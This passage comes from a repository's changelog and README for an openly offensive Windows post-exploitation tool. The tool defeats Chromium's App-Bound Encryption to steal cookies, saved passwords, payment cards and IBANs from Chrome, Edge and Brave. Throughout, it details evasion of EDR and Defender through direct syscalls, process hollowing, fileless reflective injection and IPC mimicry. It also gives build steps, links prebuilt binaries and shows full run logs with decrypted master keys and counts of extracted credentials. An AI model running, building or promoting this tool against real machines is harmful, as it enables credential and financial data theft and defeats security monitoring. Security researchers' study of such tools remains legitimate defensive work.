Sync/sign-in status and enterprise management detection. 24 | - Outputs JSON report to `fingerprint.json`. 25 | - Mimics legitimate browser IPC to evade monitoring tools. 26 | - **Bug Fixes**: 27 | - Fixed race condition in pipe communication that caused extraction failures in non-verbose mode. 28 | - Multi-profile extraction now continues on individual profile failures. 29 | 30 | ### v0.15.0 31 | - **Multi-Browser Extraction with "all" Option**: New command-line option to automatically enumerate and extract data from all installed browsers in a single run. 32 | - Added `chromelevator.exe all` option that discovers all installed browsers (Chrome, Edge, Brave). 33 | - Automatically handles any combination of installed browsers, gracefully skipping those not found. 34 | - **Dynamic Browser Path Discovery via Registry Syscalls**: Eliminated all hard-coded browser installation paths in favor of runtime Registry enumeration using direct syscalls. 35 | - Added new Registry syscalls: `NtOpenKey`, `NtQueryValueKey`, and `NtEnumerateKey` to the direct syscall engine, enabling stealthy Registry access without Win32 API dependencies. 36 | - Implemented `BrowserPathResolver` class that queries `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\` using NT native paths (`\Registry\Machine\...`). 37 | - Supports both 64-bit and 32-bit (WOW6432Node) Registry views to ensure browser discovery across all installation types. 38 | - **Advanced Gadget Detection**: Extended search to 64 bytes, added hook pattern skipping (e.g., jmp detection) for better evasion of inline EDR hooks. 39 | - **Redesigned Output Formatting**: Completely redesigned the console output for cleaner, more professional appearance. 40 | - **Resilient Decryption**: Implemented graceful error handling for GCM blobs, skipping invalid prefixes (e.g., non-"v20") to prevent process termination. 41 | - **Conditional File Output**: Modified data extractor to write JSON files only if decrypted data is present, eliminating empty `[]` files from the output. 42 | 43 | ### v0.14.2 44 | - **Bug Fix: Corrected Cookie Decryption Payload Handling**: Resolved a critical regression where encrypted cookie values were not being correctly parsed after decryption. 45 | - The recent architectural refactor inadvertently omitted a crucial processing step specific to cookie payloads. Unlike passwords or payment data, the decrypted plaintext for a cookie contains a 32-byte metadata header that must be stripped to reveal the actual cookie value. 46 | - **Feature Enhancement: Expanded Cookie Data Extraction**: The tool now extracts a richer set of cookie attributes, providing a more comprehensive data set for analysis. 47 | - The SQLite query for cookies has been expanded to include `path`, `expires_utc`, `is_secure`, and `is_httponly`. 48 | - The JSON output has been updated accordingly to include these new fields, converting the boolean flags to proper `true`/`false` values for improved usability. 49 | 50 | ### v0.14.1 51 | - **Architecture-Specific Stability Fix for x64 Syscall Trampoline**: Overhauled the x64 assembly trampoline to resolve a critical stability bug that caused a silent crash in the payload thread immediately after injection on x64 systems. 52 | - The previous dynamic, argument-aware loop created a complex code path that resulted in the assembler (`ml64.exe`) generating incorrect stack unwind data. This faulty data led to stack corruption and a silent crash when the new thread was initialized by the OS, causing the injector to hang indefinitely. 53 | - The x64 trampoline has been re-architected to mirror the robust, simplified design of the working ARM64 version. The dynamic loop has been replaced with a simple, unconditional `rep movsq` that copies a fixed, oversized block of stack arguments. This guarantees a linear code path, ensures the generation of correct unwind data, and makes the x64 injection process as reliable as the ARM64 one. 54 | - **Enhanced Evasion for Parameter Passing**: Reworked the method for passing the pipe name parameter to the payload to bypass modern behavioral security heuristics, specifically Microsoft Defender's Controlled Folder Access (CFA). 55 | - The previous method of using a separate `NtWriteVirtualMemory` call for the parameter was flagged by CFA when the injector was run from a protected location (e.g., the Desktop). 56 | - This has been replaced with an "argument smuggling" technique. A single, larger memory region is now allocated in the target process for both the payload DLL and its pipe name parameter. Both are written into this contiguous block, presenting a more organic and less suspicious memory I/O pattern that is not blocked by CFA. 57 | - **Bug Fix: Resolved Post-Injection Hang**: Corrected a logical desynchronization between the injector and the payload that caused the tool to hang after successfully creating the payload thread. 58 | - The payload's entry point was expecting a parameter in an outdated format from a previous, unsuccessful bypass attempt, while the injector was correctly passing a direct pointer using the new argument smuggling technique. 59 | - The payload's parameter handling logic has been reverted and fixed to correctly interpret the direct pointer, re-establishing communication with the injector and resolving the hang. 60 | 61 | ### v0.14.0 62 | - **Direct Syscall-Based Reflective Hollowing & Evasion**: Migrated the entire injection strategy from a live process "attach" model to a classic "hollowing" technique. 63 | - The injector now launches the target browser via `CreateProcessW` in a `CREATE_SUSPENDED` state, providing full and uncontested control over the target's address space before any of its own code can execute. 64 | - The payload is injected into this suspended process, a new thread is created for its execution using `NtCreateThreadEx`, and the target is cleanly terminated by the injector upon completion. The original, suspended main thread is never resumed. 65 | - This fundamentally improves operational stealth by avoiding interaction with a running, monitored application and ensuring a clean injection environment. 66 | - **Network Service Termination**: Replaced the payload's indiscriminate `KillProcesses` function with a far more intelligent `KillBrowserNetworkService` routine within the injector itself. 67 | - Using an expanded set of direct syscalls (`NtGetNextProcess`, `NtQueryInformationProcess`, `NtReadVirtualMemory`), the injector now enumerates all running instances of the target browser. 68 | - It inspects the command-line arguments of each process by reading its PEB and terminates *only* the specific utility process responsible for the Network Service (`--utility-sub-type=network.mojom.NetworkService`). 69 | - This surgical approach reliably releases file locks on the target SQLite databases without the collateral damage of closing the user's main browser windows, making the tool's operation significantly stealthier. 70 | - **Massive Syscall Engine Expansion**: The direct syscall engine was significantly expanded to eliminate dependencies on nearly all high-level Win32 process management APIs, further hardening the tool against user-land hooking. 71 | - New syscall wrappers were added for process enumeration, information querying, memory reading, and termination, including: `NtGetNextProcess`, `NtQueryInformationProcess`, `NtReadVirtualMemory`, `NtTerminateProcess`, `NtUnmapViewOfSection`, `NtGetContextThread`, `NtSetContextThread`, `NtResumeThread`, and `NtFlushInstructionCache`. 72 | - **Complete Code Modernization and Refactoring**: The C++ codebases for both the injector and the payload were re-architected into a more modular design that adheres to modern C++ best practices. 73 | - **Injector**: Logic was segregated into distinct classes (`Console`, `TargetProcess`, `PipeCommunicator`, `InjectionManager`), and the custom `HandleGuard` was replaced with the safer `std::unique_ptr` with a custom deleter. 74 | - **Payload**: The monolithic `DecryptionSession` was broken down into a suite of specialized classes (`PipeLogger`, `BrowserManager`, `MasterKeyDecryptor`, `DataExtractor`, etc.) managed by a central `DecryptionOrchestrator`. This greatly improves code clarity and follows the Single Responsibility Principle. 75 | 76 | ### v0.13.0 77 | - **True Direct Syscall Engine**: Replaced the previous "Tartarus Gate" (direct `ntdll.dll` export invocation) with a true direct syscall engine for both x64 and ARM64 architectures. 78 | - The injector now resolves syscall numbers (SSNs) at runtime by sorting `ntdll.dll`'s `Zw*` export table by address ("Hell's Gate" technique). 79 | - It then finds the executable `syscall` (x64) or `svc` (ARM64) instruction gadget within the function's body, completely bypassing the function prologue and any user-land hooks placed by EDR/AV solutions. 80 | - A custom assembly trampoline (`syscall_trampoline_x64.asm` & `syscall_trampoline_arm64.asm`) was created for each architecture to correctly marshal arguments from the C calling convention to the kernel's syscall convention, including full support for stack-based arguments. 81 | - This change dramatically increases the tool's stealth and resilience against modern security monitoring. 82 | - **Reflective Loader Memory Optimization**: Replaced manual byte-by-byte memory copying with optimized `memcpy` operations for headers and sections during reflective injection. This improves the speed and efficiency of the payload's in-memory mapping. 83 | - **Post-Injection Memory Hardening**: After the payload DLL is written to the target process's allocated memory, its permissions are now explicitly changed from `PAGE_EXECUTE_READWRITE` to `PAGE_EXECUTE_READ` using a direct syscall to `NtProtectVirtualMemory`. This reduces the memory region's "suspiciousness" to Endpoint Detection and Response (EDR) solutions that monitor for writable and executable memory, thereby improving overall stealth and limiting the attack surface. 84 | - **Headless Browser Auto-Launch**: When the `--start-browser` option is used, the injector now launches the target browser (Chrome, Brave, Edge) in **headless mode**. This ensures that no visible browser window appears during the operation, reducing user detection and improving operational stealth. 85 | 86 | ### v0.12.1 87 | - **Enhanced Profile Detection**: Made profile discovery more robust by comprehensively scanning `User Data` subdirectories for characteristic browser database files, ensuring custom-named user profiles are correctly identified and processed alongside default profiles. 88 | - **Critical Bug Fix / Compatibility**: Resolved crashes and improved compatibility with newer Chromium versions by gracefully handling specific 31-byte empty or placeholder encrypted blobs that previously caused `GCM blob is invalid` errors. The decryption logic now correctly interprets these as empty values instead of throwing exceptions. 89 | - **Improved Database Access Robustness**: Re-implemented and enhanced the `SQLite nolock=1` mechanism for accessing browser databases (e.g., Cookies, Login Data, Web Data). This ensures highly robust and stable read access to SQLite files, even when they might be concurrently locked by other processes, by leveraging SQLite's URI filename feature to bypass OS-level file locking. 90 | 91 | ### v0.12 92 | - **Fileless Payload Execution (Encrypted Resource Delivery)**: Migrated the payload DLL from a disk-based file to an in-memory, **ChaCha20-encrypted** resource embedded within the injector. The payload is now decrypted at runtime and reflectively injected, eliminating on-disk artifacts and defeating static analysis. 93 | - **Code Modernization (Full C++ Refactoring)**: Re-architected the entire codebase with modern C++ principles. 94 | - **Professional Build System**: Implemented a robust make.bat script for clean, reliable, and configurable local builds. 95 | 96 | ### v0.11 97 | - **Kernel-Level Execution Syscall Engine (Halo's & Tartarus Gate Fusion)**: Implemented a multi-architecture syscall resolution system for improved stealth. This hybrid engine combines the strengths of multiple modern techniques: 98 | - The injector first attempts a [Halo's Gate](https://blog.sektor7.net/#!res/2021/halosgate.md) approach by dynamically calculating the required System Service Numbers (SSNs) and hunting for clean, unhooked syscall stubs within ntdll.dll. 99 | - In heavily monitored environments where no clean stubs can be found (as discovered on Windows on ARM64 installations), the system automatically pivots to a [Tartarus Gate](https://github.com/trickster0/TartarusGate) methodology. It directly leverages the function pointers of the (potentially hooked) Zw functions, ensuring execution continuity by passing through the EDR's hooks to the kernel. 100 | - This dual-pronged strategy provides maximum stealth and operational resilience across diverse target environments on both x64 and ARM64. 101 | - **Stealth Enhancement (IPC)**: Transitioned from file-based IPC to **Named Pipes** for configuration and logging. `chrome_inject.exe` (server) passes a unique pipe name to the target's remote memory. `chrome_decrypt.dll` (client) uses this pipe for receiving output path configuration and for streaming log data/completion signals directly to the injector, minimizing on-disk artifacts and eliminating global named event usage. 102 | 103 | ### v0.10 104 | - **Refactor**: Switched to **Reflective DLL Injection (RDI)** as the sole injection method, removing older `LoadLibrary` and `NtCreateThreadEx` options for enhanced stealth. (x64 RDI based on [Stephen Fewer's work](https://github.com/stephenfewer/ReflectiveDLLInjection), ARM64 RDI based on [xaitax/ARM64-ReflectiveDLLInjection](https://github.com/xaitax/ARM64-ReflectiveDLLInjection)). 105 | 106 | ### v0.9 107 | - **New**: Added `--output-path` (`-o`) argument to `chrome_inject.exe` for user-configurable output directory. Output files are now organized by BrowserName/ProfileName/data_type.txt. 108 | - **New**: Implemented support for automatically detecting and decrypting data from multiple browser profiles (e.g., Default, Profile 1, Profile 2). 109 | - **CI/CD**: Integrated GitHub Actions workflow for automated building of x64 and ARM64 binaries, and automatic release creation upon new version tags. 110 | - **Project Structure**: Reorganized the repository into src/, libs/, docs/, and tools/ directories for better maintainability. 111 | 112 | ### v0.8 113 | 114 | - **New**: **Reliable Microsoft Edge Decryption:** Implemented support for Edge's native App-Bound Encryption COM interface (`IElevatorEdge`), resolving previous inconsistencies and removing dependency on Brave Browser being installed. This involved detailed COM interface analysis and tailored C++ stubs for Edge's specific vtable layout. 115 | 116 | ### v0.7 117 | 118 | - **New**: Implemented Kernel Named Events for flawless timing between Injector and DLL operations. 119 | - **Improved**: Major refactoring of both Injector and DLL for enhanced stability, performance, and maintainability. 120 | - **Improved**: Strict RAII implemented for all system resources (Handles, COM, SQLite) to prevent leaks. 121 | - **Improved**: More accurate and immediate error code capture and reporting. 122 | - **Improved**: Adaptive Locking Bypass / Enhanced Locked File Access (SQLite nolock=1 for Login Data/Payment Methods) 123 | - **Improved**: Dynamic Path Resolution / Dynamic Path Discovery (modern Windows APIs) 124 | - **Improved**: Optimized DLL's browser termination logic. 125 | 126 | ### v0.6 127 | 128 | - **New**: Full Username & Password extraction 129 | - **New**: Full Payment Information (e.g., Credit Card) extraction 130 | 131 | ### v0.5 132 | 133 | - **New**: Full Cookie extraction into JSON format 134 | 135 | ### v0.4 136 | 137 | - **New**: selectable injection methods (`--method load|nt`) 138 | - **New**: auto‑start the browser if not running (`--start-browser`) 139 | - **New**: verbose debug output (`--verbose`) 140 | - **New**: automatically terminate the browser after decryption 141 | - **Improved**: Injector code refactoring -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ChromElevator (`Chrome App-Bound Encryption Decryption`) 2 | 3 | ## 🚀 Overview 4 | 5 | ![Build Status](https://img.shields.io/badge/build-passing-brightgreen) 6 | ![License](https://img.shields.io/badge/license-MIT-blue) 7 | ![Platform](https://img.shields.io/badge/platform-Windows%20x64%20%7C%20ARM64-lightgrey) 8 | ![Languages](https://img.shields.io/badge/code-C%2B%2B%20%7C%20ASM-9cf) 9 | [![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/xaitax/Chrome-App-Bound-Encryption-Decryption) 10 | 11 | A post-exploitation tool demonstrating a complete, in-memory bypass of Chromium's **App-Bound Encryption (ABE)**. This project utilizes **Direct Syscall-based Reflective Process Hollowing** to launch a legitimate browser process in a suspended state, stealthily injecting a payload to hijack its identity and security context. This **Living-off-the-Land (LOTL)** technique that subverts the browser's own security model. The fileless approach allows the tool to operate entirely from memory, bypassing user-land API hooks to decrypt and exfiltrate sensitive user data (cookies, passwords, payments) from modern Chromium browsers. 12 | 13 | If you find this research valuable, I’d appreciate a coffee: 14 | [![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/M4M61EP5XL) 15 | 16 | ## 🛡️ Core Technical Pillars 17 | 18 | This tool's effectiveness is rooted in a combination of modern, evasion-focused techniques: 19 | 20 | - **Direct Syscalls for Evasion:** Bypasses EDR/AV user-land hooks on standard WinAPI functions by invoking kernel functions directly. The engine is robust and dynamically resolves syscall numbers at runtime, ensuring compatibility across Windows versions. 21 | 22 | - **Direct Syscall-Based Process Hollowing:** A stealthy process creation and injection technique. Instead of injecting into a high-traffic, potentially monitored process, it creates a new, suspended host process. This significantly reduces the chances of detection, as all memory manipulations occur before the process begins normal execution. 23 | 24 | - **Fileless In-Memory Payload:** The payload DLL never touches the disk on the target machine. It is stored encrypted within the injector, decrypted in-memory, and reflectively loaded, minimizing its forensic footprint and bypassing static file-based scanners. 25 | 26 | - **Reflective DLL Injection (RDI):** A stealthy process injection method that circumvents `LoadLibrary`, thereby evading detection mechanisms that monitor module loads. The self-contained C loader resolves all of its own dependencies from memory. 27 | 28 | - **Target-Context COM Invocation:** The lynchpin for defeating App-Bound Encryption. By executing code _within_ the trusted browser process, we inherit its identity and security context, allowing us to make legitimate-appearing calls to the ABE COM server and satisfy its path-validation security checks. 29 | 30 | ## ⚙️ Features 31 | 32 | ### Core Functionality 33 | 34 | - 🔓 Full user-mode decryption of cookies, passwords, payment methods, and IBANs. 35 | - 📁 Discovers and processes all user profiles (Default, Profile 1, etc.). 36 | - 📝 Exports all extracted data into structured JSON files, organized by profile. 37 | - 🔍 Browser Fingerprinting of browser metadata and system information. 38 | 39 | ### Stealth & Evasion 40 | 41 | - 🛡️ **Fileless Payload Delivery:** In-memory decryption and injection of an encrypted resource. 42 | - 🛡️ **Direct Syscall Engine:** Bypasses common endpoint defenses by avoiding hooked user-land APIs for all process operations. 43 | - 🛡️ **Syscall Obfuscation:** Runtime XOR encryption of syscall table in memory to evade detection by security tools. 44 | - 🛡️ **IPC Mimicry:** Browser-specific named pipe patterns that blend with legitimate browser IPC traffic. 45 | - 🤫 **Process Hollowing:** Creates a benign, suspended host process for the payload, avoiding injection into potentially monitored processes. 46 | - 👻 **Reflective DLL Injection:** Stealthily loads the payload without suspicious `LoadLibrary` calls. 47 | - 🔒 **Proactive File-Lock Mitigation:** Automatically terminates browser utility processes that hold locks on target database files. 48 | - 💼 **No Admin Privileges Required:** Operates entirely within the user's security context. 49 | 50 | ### Compatibility & Usability 51 | 52 | - 🌐 Works on **Google Chrome**, **Brave**, & **Edge**. 53 | - 💻 Natively supports **x64** and **ARM64** architectures. 54 | - 🚀 **Standalone Operation:** Automatically creates a new browser process to host the payload, requiring no pre-existing running instances. 55 | - 📁 Customizable output directory for extracted data. 56 | 57 | image 58 | 59 | 60 | ## 📦 Supported & Tested Versions 61 | 62 | | Browser | Tested Version (x64 & ARM64) | 63 | | ------------------ | ---------------------------- | 64 | | **Google Chrome** | 142.0.7444.60 | 65 | | **Brave** | 1.84.132 (142.0.7444.60) | 66 | | **Microsoft Edge** | 142.0.3595.53 | 67 | 68 | ## 🔍 Feature Support Matrix 69 | 70 | This matrix outlines the extraction capabilities for each supported browser. 71 | 72 | | Feature | Google Chrome | Brave | Microsoft Edge | 73 | |----------------------|------------------------|------------------------|-----------------------------------------| 74 | | **Cookies** | ✅ ABE | ✅ ABE | ✅ ABE | 75 | | **Passwords** | ✅ ABE | ✅ ABE | ⚠️ DPAPI v10 (ABE not yet implemented) | 76 | | **Payment Methods** | ✅ ABE | ✅ ABE | ✅ ABE | 77 | | **IBANs** | ✅ ABE | ✅ ABE | ❌ Not existing | 78 | 79 | **Encryption Method Notes:** 80 | - **ABE (App-Bound Encryption):** Using AES-256-GCM with browser-specific master keys decrypted via COM interfaces. 81 | - **DPAPI v10:** Legacy Windows Data Protection API encryption. Microsoft Edge has not yet transitioned passwords to ABE, so older DPAPI-based decryption methods are still required and functional. 82 | - Cookies & payments use ABE across all browsers. IBANs are not supported in Microsoft Edge. 83 | 84 | ## 🔬 Technical Workflow 85 | 86 | The tool's execution is focused on stealth and efficiency, built around a **Direct Syscall-based Reflective Hollowing** process. This approach ensures that few high-level API calls are made and that the payload operates from within a legitimate, newly created browser process. 87 | 88 | ### **Stage 1: The Injector (`chromelevator.exe`)** 89 | 90 | 1. **Pre-Flight & Initialization:** The injector begins by initializing its **direct syscall engine**, dynamically parsing `ntdll.dll` to resolve syscall numbers (SSNs) and locate kernel transition gadgets (`syscall/ret` or `svc/ret`). It then performs a critical pre-flight check, using `NtGetNextProcess` and other syscalls to find and terminate any browser "network service" child processes. This preemptively releases file locks on the target SQLite databases. 91 | 2. **Payload Preparation:** The core payload DLL, which is stored as a **ChaCha20-encrypted resource**, is loaded and decrypted entirely in-memory. 92 | 3. **Process Hollowing:** Instead of targeting an existing process, the injector creates a new instance of the target browser in a **`CREATE_SUSPENDED`** state (`CreateProcessW`). This pristine, suspended process serves as the host for our payload. 93 | 4. **Reflective Injection via Syscalls:** Using the direct syscall engine, the injector performs a series of stealthy actions on the suspended process: 94 | - It allocates memory using `NtAllocateVirtualMemory`. 95 | - It writes the decrypted payload DLL into the allocated space with `NtWriteVirtualMemory`. 96 | - It changes the memory region's permissions to executable using `NtProtectVirtualMemory`. 97 | - It creates a **named pipe** for communication and writes the pipe's name into the target's memory. 98 | 5. **Execution & Control:** A new thread is created in the target process using `NtCreateThreadEx`. The thread's start address points directly to the payload's `ReflectiveLoader` export, with the address of the remote pipe name as its argument. The original main thread of the browser remains suspended and is never resumed. The injector then waits for the payload to connect back to the pipe. 99 | 100 | ### **Stage 2: The Injected Payload (In-Memory)** 101 | 102 | 1. **Bootstrapping:** The `ReflectiveLoader` stub executes, functioning as a custom in-memory PE loader. It correctly maps the DLL's sections, performs base relocations, and resolves its Import Address Table (IAT) by parsing the PEB and hashing function names. Finally, it invokes the payload's `DllMain`. 103 | 2. **Connection & Setup:** The `DllMain` spawns a new thread that immediately connects to the named pipe handle passed by the injector. It reads the configuration, including the output path, sent by the injector. All subsequent logs and status updates are relayed back through this pipe. 104 | 3. **Target-Context COM Hijack:** Now running natively within the browser process, the payload instantiates the browser's internal `IOriginalBaseElevator` or `IEdgeElevatorFinal` COM server. As the call originates from a trusted process path, all of the server's security checks are passed. 105 | 4. **Master Key Decryption:** The payload calls the `DecryptData` method on the COM interface, providing the `app_bound_encrypted_key` it reads from the `Local State` file. The COM server dutifully decrypts the key and returns the plaintext AES-256 master key to the payload. 106 | 5. **Data Exfiltration:** Armed with the AES key, the payload enumerates all user profiles (`Default`, `Profile 1`, etc.). For each profile, it queries the relevant SQLite databases (`Cookies`, `Login Data`, `Web Data`), decrypts the data blobs using AES-256-GCM, and formats the secrets as JSON. The results are written directly to the output directory specified by the injector. 107 | 6. **Shutdown:** After processing all profiles, the payload sends a completion signal to the injector over the pipe and calls `FreeLibraryAndExitThread` to clean up. The injector, upon receiving the signal, terminates the parent host process with `NtTerminateProcess`. 108 | 109 | ## 🔧 Build Instructions 110 | 111 | This project uses a simple, robust build script that handles all compilation and resource embedding automatically. 112 | 113 | 1. **Clone** this repository. 114 | 115 | 2. Open a **Developer Command Prompt for VS** (or any MSVC‑enabled shell). 116 | 117 | 3. Run the build script `make.bat` from the project root. 118 | 119 | ### Automated Builds with GitHub Actions 120 | 121 | This project uses GitHub Actions to automatically builds the injector executable (`chromelevator.exe`) for both **x64** and **ARM64** architectures 122 | 123 | You can find the latest pre-compiled binaries on the [**Releases page**](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/releases). The executables for both architectures are packaged together in a single, convenient .zip file. 124 | 125 | **Release Package Contents:** 126 | 127 | - `chromelevator_x64.exe` 128 | - `chromelevator_arm64.exe` 129 | 130 | ## 🚀 Usage 131 | 132 | ```bash 133 | PS> .\chromelevator.exe 134 | _________ .__ ___________.__ __ 135 | \_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________ 136 | / \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \ 137 | \ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/ 138 | \______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__| 139 | \/ \/ \/ \/ \/ \/ 140 | 141 | Direct Syscall-Based Reflective Hollowing 142 | x64 & ARM64 | v0.16.0 by @xaitax 143 | 144 | Usage: 145 | chrome_inject.exe [options] 146 | 147 | Options: 148 | --output-path|-o Directory for output files (default: .\output\) 149 | --verbose|-v Enable verbose debug output from the injector 150 | --fingerprint|-f Extract browser fingerprinting data 151 | --help|-h Show this help message 152 | 153 | Browser targets: 154 | chrome - Extract from Google Chrome 155 | brave - Extract from Brave Browser 156 | edge - Extract from Microsoft Edge 157 | all - Extract from all installed browsers 158 | ``` 159 | 160 | ### Options 161 | 162 | - `--output-path ` or `-o ` 163 | Specifies the base directory for output files. 164 | Defaults to `.\output\` relative to the injector's location. 165 | Data will be organized into subfolders: `///`. 166 | 167 | - `--verbose` or `-v` 168 | Enable extensive debugging output from the injector. 169 | 170 | - `--fingerprint` or `-f` 171 | Extract comprehensive browser fingerprinting data including version, extensions, security settings, and system information. 172 | Results saved to `fingerprint.json` in the browser's output directory. 173 | 174 | - `--help` or `-h` 175 | Show this help message. 176 | 177 | #### Normal Run 178 | 179 | ```bash 180 | PS> .\chromelevator.exe all 181 | _________ .__ ___________.__ __ 182 | \_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________ 183 | / \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \ 184 | \ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/ 185 | \______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__| 186 | \/ \/ \/ \/ \/ \/ 187 | 188 | Direct Syscall-Based Reflective Hollowing 189 | x64 & ARM64 | v0.16.1 by @xaitax 190 | 191 | [*] Processing 3 browser(s): 192 | 193 | [*] Chrome 194 | [+] AES Key: 3fa14dc988a34c85bdb872159b739634cb7e56f8e34449c1494297b9b629d094 195 | [+] Extracted 481 cookies, 2 passwords and 1 payments from 2 profiles 196 | [+] Stored in C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome 197 | 198 | [*] Edge 199 | [+] AES Key: b0334fad7f5805362cb4c44b144a95ab7a68f7346ef99eb3f175f09db08c8fd9 200 | [+] Extracted 203 cookies and 2 passwords from 2 profiles 201 | [+] Stored in C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge 202 | 203 | [*] Brave 204 | [+] AES Key: 5f5b1c8112fba445332a9b01a59349f1112426753bfee2c5908aab6c46982fcd 205 | [+] Extracted 2484 cookies, 1028 passwords and 1 payments from 1 profile 206 | [+] Stored in C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave 207 | 208 | [*] Completed: 3 successful, 0 failed 209 | ``` 210 | 211 | #### Verbose 212 | 213 | ```bash 214 | PS> .\chromelevator.exe chrome -v -f 215 | _________ .__ ___________.__ __ 216 | \_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________ 217 | / \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \ 218 | \ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/ 219 | \______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__| 220 | \/ \/ \/ \/ \/ \/ 221 | 222 | Direct Syscall-Based Reflective Hollowing 223 | x64 & ARM64 | v0.16.1 by @xaitax 224 | 225 | [#] Found and sorted 489 Zw* functions. 226 | [#] Initialized 19 syscall stubs (with obfuscation). 227 | [#] Obfuscation layer active - syscalls encrypted in memory 228 | [#] Searching Registry for: chrome.exe 229 | [#] Found at: C:\Program Files\Google\Chrome\Application\chrome.exe 230 | [#] Scanning for and terminating browser network services... 231 | [#] Creating suspended Chrome process. 232 | [#] Target executable path: C:\Program Files\Google\Chrome\Application\chrome.exe 233 | [#] Created suspended process PID: 6088 234 | [#] Architecture match: Injector=ARM64, Target=ARM64 235 | [#] Named pipe server created: \\.\pipe\chrome.nacl.3150_4B01 236 | [#] Loading and decrypting payload DLL. 237 | [#] Parsing payload PE headers for ReflectiveLoader. 238 | [#] ReflectiveLoader found at file offset: 0x14fb0 239 | [#] Allocating memory for payload in target process. 240 | [#] Combined memory for payload and parameters allocated at: 0x2d6fec10000 241 | [#] Writing payload DLL to target process. 242 | [#] Writing pipe name parameter into the same allocation. 243 | [#] Changing payload memory protection to executable. 244 | [#] Creating new thread in target to execute ReflectiveLoader. 245 | [#] Successfully created new thread for payload. 246 | [#] New thread created for payload. Main thread remains suspended. 247 | [#] Waiting for payload to connect to named pipe. 248 | [#] Payload connected to named pipe. 249 | [#] Sent message to pipe: VERBOSE_TRUE 250 | [#] Sent message to pipe: FINGERPRINT_TRUE 251 | [#] Sent message to pipe: C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output 252 | [#] Waiting for payload execution. (Pipe: \\.\pipe\chrome.nacl.3150_4B01) 253 | 254 | [*] Decryption process started for Chrome 255 | [+] COM library initialized (APARTMENTTHREADED). 256 | [*] Reading Local State file: C:\Users\ah\AppData\Local\Google\Chrome\User Data\Local State 257 | [*] Attempting to decrypt master key via Chrome's COM server... 258 | [+] Decrypted AES Key: 3fa14dc988a34c85bdb872159b739634cb7e56f8e34449c1494297b9b629d094 259 | [*] Discovering browser profiles in: C:\Users\ah\AppData\Local\Google\Chrome\User Data 260 | [+] Found 2 profile(s). 261 | [*] Processing profile: Default 262 | [*] 378 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\cookies.json 263 | [*] 1 passwords extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\passwords.json 264 | [*] Processing profile: Profile 1 265 | [*] 622 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\cookies.json 266 | [*] 2 passwords extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\passwords.json 267 | [*] 1 payments extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\payments.json 268 | [*] 1 iban extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\iban.json 269 | [*] Extraction complete: 2 successful, 0 failed. 270 | [*] Extracting browser fingerprint data... 271 | [*] Discovering browser profiles in: C:\Users\ah\AppData\Local\Google\Chrome\User Data 272 | [+] Found 2 profile(s). 273 | [+] Browser fingerprint extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\fingerprint.json 274 | [#] Payload completion signal received. 275 | 276 | [#] Payload signaled completion or pipe interaction ended. 277 | [#] Terminating browser PID=6088 via direct syscall. 278 | [#] Chrome terminated by injector. 279 | [+] Extraction completed successfully 280 | ``` 281 | 282 | ## 📂 Data Extraction 283 | 284 | Once decryption completes, data is saved to the specified output path (defaulting to `.\output\` if not specified via `--output-path`). Files are organized as follows: 285 | 286 | **Base Path:** `YOUR_CHOSEN_PATH` (e.g., `.\output\` or the path you provide) 287 | **Structure:** ///.json 288 | 289 | Example paths (assuming default output location):\*\* 290 | 291 | - 🍪 **Cookies (Chrome Default profile):** .\output\Chrome\Default\cookies.json 292 | - 🔑 **Passwords (Edge Profile 1):** .\output\Edge\Profile 1\passwords.json 293 | - 💳 **Payment Methods (Brave Default profile):** .\output\Brave\Default\payments.json 294 | - 🏦 **IBANs (Chrome Profile 1):** .\output\Chrome\Profile 1\iban.json 295 | 296 | ### 🍪 Cookie Extraction 297 | 298 | Each cookie file is a JSON array of objects: 299 | 300 | ```json 301 | [ 302 | { 303 | "host": "accounts.google.com", 304 | "name": "ACCOUNT_CHOOSER", 305 | "value": "AFx_qI781-…" 306 | }, 307 | { 308 | "host": "mail.google.com", 309 | "name": "OSID", 310 | "value": "g.a000uwj5ufIS…" 311 | }, 312 | … 313 | ] 314 | ``` 315 | 316 | ### 🔑 Password Extraction 317 | 318 | Each password file is a JSON array of objects: 319 | 320 | ```json 321 | [ 322 | { 323 | "origin": "https://example.com/login", 324 | "username": "user@example.com", 325 | "password": "••••••••••" 326 | }, 327 